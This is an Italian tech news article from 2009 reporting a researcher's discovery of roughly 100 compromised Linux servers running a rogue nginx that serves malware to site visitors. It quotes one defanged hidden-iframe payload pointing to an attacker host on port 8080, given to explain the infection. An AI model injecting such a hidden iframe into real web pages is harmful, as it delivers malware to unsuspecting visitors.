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Il pericolo è servito, anche con Linux

14 settembre 2009
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Secondo un ricercatore russo esisterebbe un buon numero di server Linux infetti da malware, tanto che è arrivato a parlare di “botnet di server”, che distribuiscono malware agli ignari visitatori.

La sicurezza totale è un mito, anche con Linux
La sicurezza totale è un mito, anche con Linux

I server, come ci si aspetta, ospitano siti legittimi, ma anche il web server nginx, una sorta d’infezione che contagia il computer del visitatore.

Una rete di pc zombie potenziata, composta di utenti e server, quindi. Una cosa che, secondo Denis Sinegubko, si attendeva da tempo.

Il server fantasma usa la porta 8080 per trasmettere il codice maligno ai computer degli utenti, sfruttando servizi DNS, come DynDNS.com, per il trasferimento anonimo. Il codice dovrebbe essere simile a quello qui sotto:

<i_frame src=”http ://a86x . homeunix . org:8080/ts/in.cgi?open2″ width=997 height=0 style=”visibility: hidden”></iframe>

Una rete composta da server e client è, evidentemente, più stabile, efficace ed efficiente, qualsiasi sia lo scopo che serva. Se si tratta di sottrarre dati personali, perpetrare attacchi DDoS, oppure gestire applicazioni online o social network i risultati non cambiano.

La colpa maggiore, forse, è degli amministratori che non hanno scelto password abbastanza sicure, che è stato possibile violare in qualche modo.

Per Sinegubko le piccole dimensioni della rete (circa 100 server) indica che si tratta, probabilmente, di una dimostrazione tecnica, eseguita su server Apache con diverse distribuzioni di Linux. Ma, ammette, può anche darsi che la rete sia più grande, e lui ne abbia individuato solo una parte. È anche vero, però, che The Register ha pubblicato, in passato, più di una notizia esagerata o falsata, quindi è da prendere tutto con le molle.

Ovviamente questa situazione non dimostra che Linux è più o meno sicuro degli altri sistemi operativi, ma solo che, come accade per il binomio Windows/client, è il bersaglio migliore se si vogliono colpire i server, perché è il sistema operativo più diffuso.

Il problema, semmai, è un altro: se i server che usiamo quotidianamente cominciano a diffondere software pericoloso, come difendersi, se nemmeno chi li gestisce e riuscito a fermare l’attacco?

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